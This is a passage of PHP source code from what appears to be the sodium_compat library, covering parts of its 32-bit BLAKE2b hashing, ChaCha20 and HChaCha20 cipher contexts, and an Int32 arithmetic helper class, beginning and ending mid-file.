    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedAssignment
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) {
            throw new TypeError('Not an int64');
        }
        /** @var ParagonIE_Sodium_Core32_Int64 $c*/
        $c = $ctx[1][0];
        if ($c->isLessThanInt($inc)) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            /** @var int $i */
            $ctx[3][$i + $ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );

        if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) {
            // We need to do what blake2b_init_param() does:
            for ($i = 1; $i < 8; ++$i) {
                $ctx[0][$i] = self::xor64(
                    $ctx[0][$i],
                    self::load64($p, $i << 3)
                );
            }
        }

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
            $ctx[4] = 128;
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     * @psalm-suppress MixedArgumentTypeCoercion
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, string|int>
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) {
                throw new TypeError('Not an instance of Int64');
            }
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */
            $ctxAi = $ctxA[$i];
            $str .= $ctxAi->toReverseString();
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
            $ctxA = $ctx[$i]->toArray();
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */
            $ctxA1 = $ctxA[0];
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */
            $ctxA2 = $ctxA[1];

            $str .= $ctxA1->toReverseString();
            $str .= $ctxA2->toReverseString();
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            "\x00\x00\x00\x00"
            /*
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
            */
        ));
        # uint8_t last_node;
        return $str . self::intToChr($ctx[5]) . str_repeat("\x00", 23);
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements, from
     * a string (compatible with \Sodium\crypto_generichash_{init, update, final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, (($i << 3) + 0), 8)
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 72 + (($i - 1) << 4), 8)
            );
            $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromReverseString(
                self::substr($string, 64 + (($i - 1) << 4), 8)
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96, 256));

        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i << 3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core32_ChaCha20_Ctx extends ParagonIE_Sodium_Core32_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a 256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a 64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
        $this->container[1]  = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
        $this->container[2]  = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
        $this->container[3]  = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));

        $this->container[4]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $this->container[5]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $this->container[6]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $this->container[7]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4));
        $this->container[8]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4));
        $this->container[9]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4));
        $this->container[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4));
        $this->container[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4));

        if (empty($counter)) {
            $this->container[12] = new ParagonIE_Sodium_Core32_Int32();
            $this->container[13] = new ParagonIE_Sodium_Core32_Int32();
        } else {
            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));
            $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4, 4));
        }
        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int|ParagonIE_Sodium_Core32_Int32 $value
     * @return void
     */
    #[ReturnTypeWillChange]
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
            throw new InvalidArgumentException('Expected an integer');
        }
        if ($value instanceof ParagonIE_Sodium_Core32_Int32) {
            /*
        } elseif (is_int($value)) {
            $value = ParagonIE_Sodium_Core32_Int32::fromInt($value);
            */
        } else {
            throw new InvalidArgumentException('Expected an integer');
        }
        $this->container[$offset] = $value;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @return mixed|null
     * @psalm-suppress MixedArrayOffset
     */
    #[ReturnTypeWillChange]
    public function offsetGet($offset)
    {
        return isset($this->container[$offset])
            ? $this->container[$offset]
            : null;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_IetfCtx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx
 */
class ParagonIE_Sodium_Core32_ChaCha20_IetfCtx extends ParagonIE_Sodium_Core32_ChaCha20_Ctx
{
    /**
     * ParagonIE_Sodium_Core_ChaCha20_IetfCtx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 4 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '', $counter = '')
    {
        if (self::strlen($iv) !== 12) {
            throw new InvalidArgumentException('ChaCha20 expects a 96-bit nonce in IETF mode.');
        }
        parent::__construct($key, self::substr($iv, 0, 8), $counter);

        if (!empty($counter)) {
            $this->container[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0, 4));
        }
        $this->container[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
        $this->container[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 8, 4));
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core32_HChaCha20 extends ParagonIE_Sodium_Core32_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hChaCha20($in = '', $key = '', $c = null)
    {
        $ctx = array();

        if ($c === null) {
            $ctx[0] = new ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
            $ctx[1] = new ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
            $ctx[2] = new ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
            $ctx[3] = new ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));
        } else {
            $ctx[0] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 0, 4));
            $ctx[1] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 4, 4));
            $ctx[2] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 8, 4));
            $ctx[3] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($c, 12, 4));
        }
        $ctx[4]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $ctx[5]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $ctx[6]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $ctx[7]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12, 4));
        $ctx[8]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16, 4));
        $ctx[9]  = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20, 4));
        $ctx[10] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24, 4));
        $ctx[11] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28, 4));
        $ctx[12] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 0, 4));
        $ctx[13] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 4, 4));
        $ctx[14] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 8, 4));
        $ctx[15] = ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($in, 12, 4));

        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        $x0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        $x1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        $x2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        $x3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        $x4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        $x5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        $x6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        $x7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        $x8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        $x9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        $x10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        $x11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        $x12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        $x13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        $x14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */
        $x15 = $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
        }

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }
}
<?php

/**
 * Class ParagonIE_Sodium_Core32_Int32
 *
 * Encapsulates a 32-bit integer.
 *
 * These are immutable. It always returns a new instance.
 */
class ParagonIE_Sodium_Core32_Int32
{
    /**
     * @var array<int, int> - two 16-bit integers
     *
     * 0 is the higher 16 bits
     * 1 is the lower 16 bits
     */
    public $limbs = array(0, 0);

    /**
     * @var int
     */
    public $overflow = 0;

    /**
     * @var bool
     */
    public $unsignedInt = false;

    /**
     * ParagonIE_Sodium_Core32_Int32 constructor.
     * @param array $array
     * @param bool $unsignedInt
     */
    public function __construct($array = array(0, 0), $unsignedInt = false)
    {
        $this->limbs = array(
            (int) $array[0],
            (int) $array[1]
        );
        $this->overflow = 0;
        $this->unsignedInt = $unsignedInt;
    }

    /**
     * Adds two int32 objects
     *
     * @param ParagonIE_Sodium_Core32_Int32 $addend
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function addInt32(ParagonIE_Sodium_Core32_Int32 $addend)
    {
        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];
        $j0 = $addend->limbs[0];
        $j1 = $addend->limbs[1];

        $r1 = $i1 + ($j1 & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + ($j0 & 0xffff) + $carry;
        $carry = $r0 >> 16;

        $r0 &= 0xffff;
        $r1 &= 0xffff;

        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * Adds a normal integer to an int32 object
     *
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     * @throws SodiumException
     * @throws TypeError
     */
    public function addInt($int)
    {
        ParagonIE_Sodium_Core32_Util::declareScalarType($int, 'int', 1);
        /** @var int $int */
        $int = (int) $int;

        $int = (int) $int;

        $i0 = $this->limbs[0];
        $i1 = $this->limbs[1];

        $r1 = $i1 + ($int & 0xffff);
        $carry = $r1 >> 16;

        $r0 = $i0 + (($int >> 16) & 0xffff) + $carry;
        $carry = $r0 >> 16;
        $r0 &= 0xffff;
        $r1 &= 0xffff;
        $return = new ParagonIE_Sodium_Core32_Int32(
            array($r0, $r1)
        );
        $return->overflow = $carry;
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param int $b
     * @return int
     */
    public function compareInt($b = 0)
    {
        $gt = 0;
        $eq = 1;

        $i = 2;
        $j = 0;
        while ($i > 0) {
            --$i;
            /** @var int $x1 */
            $x1 = $this->limbs[$i];
            /** @var int $x2 */
            $x2 = ($b >> ($j << 4)) & 0xffff;
            /** @var int $gt */
            $gt |= (($x2 - $x1) >> 8) & $eq;
            /** @var int $eq */
            $eq &= (($x2 ^ $x1) - 1) >> 8;
        }
        return ($gt + $gt - $eq) + 1;
    }

    /**
     * @param int $m
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mask($m = 0)
    {
        /** @var int $hi */
        $hi = ((int) $m >> 16);
        $hi &= 0xffff;
        /** @var int $lo */
        $lo = ((int) $m) & 0xffff;
        return new ParagonIE_Sodium_Core32_Int32(
            array(
                (int) ($this->limbs[0] & $hi),
                (int) ($this->limbs[1] & $lo)
            ),
            $this->unsignedInt
        );
    }

    /**
     * @param array<int, int> $a
     * @param array<int, int> $b
     * @param int $baseLog2
     * @return array<int, int>
     */
    public function multiplyLong(array $a, array $b, $baseLog2 = 16)
    {
        $a_l = count($a);
        $b_l = count($b);
        /** @var array<int, int> $r */
        $r = array_fill(0, $a_l + $b_l + 1, 0);
        $base = 1 << $baseLog2;
        for ($i = 0; $i < $a_l; ++$i) {
            $a_i = $a[$i];
            for ($j = 0; $j < $a_l; ++$j) {
                $b_j = $b[$j];
                $product = ($a_i * $b_j) + $r[$i + $j];
                $carry = ((int) $product >> $baseLog2 & 0xffff);
                $r[$i + $j] = ((int) $product - (int) ($carry * $base)) & 0xffff;
                $r[$i + $j + 1] += $carry;
            }
        }
        return array_slice($r, 0, 5);
    }

    /**
     * @param int $int
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulIntFast($int)
    {
        // Handle negative numbers
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($int >> 31) & 1;
        $a = array_reverse($this->limbs);
        $b = array(
            $int & 0xffff,
            ($int >> 16) & 0xffff
        );
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        // Multiply
        $res = $this->multiplyLong($a, $b);

        // Re-apply negation to results
        if ($aNeg !== $bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] = (0xffff ^ $res[$i]) & 0xffff;
            }
            // Handle integer overflow
            $c = 1;
            for ($i = 0; $i < 2; ++$i) {
                $res[$i] += $c;
                $c = $res[$i] >> 16;
                $res[$i] &= 0xffff;
            }
        }

        // Return our values
        $return = new ParagonIE_Sodium_Core32_Int32();
        $return->limbs = array(
            $res[1] & 0xffff,
            $res[0] & 0xffff
        );
        if (count($res) > 2) {
            $return->overflow = $res[2] & 0xffff;
        }
        $return->unsignedInt = $this->unsignedInt;
        return $return;
    }

    /**
     * @param ParagonIE_Sodium_Core32_Int32 $right
     * @return ParagonIE_Sodium_Core32_Int32
     */
    public function mulInt32Fast(ParagonIE_Sodium_Core32_Int32 $right)
    {
        $aNeg = ($this->limbs[0] >> 15) & 1;
        $bNeg = ($right->limbs[0] >> 15) & 1;

        $a = array_reverse($this->limbs);
        $b = array_reverse($right->limbs);
        if ($aNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $a[$i] = ($a[$i] ^ 0xffff) & 0xffff;
            }
            ++$a[0];
        }
        if ($bNeg) {
            for ($i = 0; $i < 2; ++$i) {
                $b[$i] = ($b[$i] ^ 0xffff) & 0xffff;
            }
            ++$b[0];
        }
        $res = $this->multiplyLong($a, $b);
        if ($aNeg !== $bNeg) {
            if ($aNeg !== $bNeg) {
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] = ($res[$i] ^ 0xffff) & 0xffff;
                }
                $c = 1;
                for ($i = 0; $i < 2; ++$i) {
                    $res[$i] += $c;
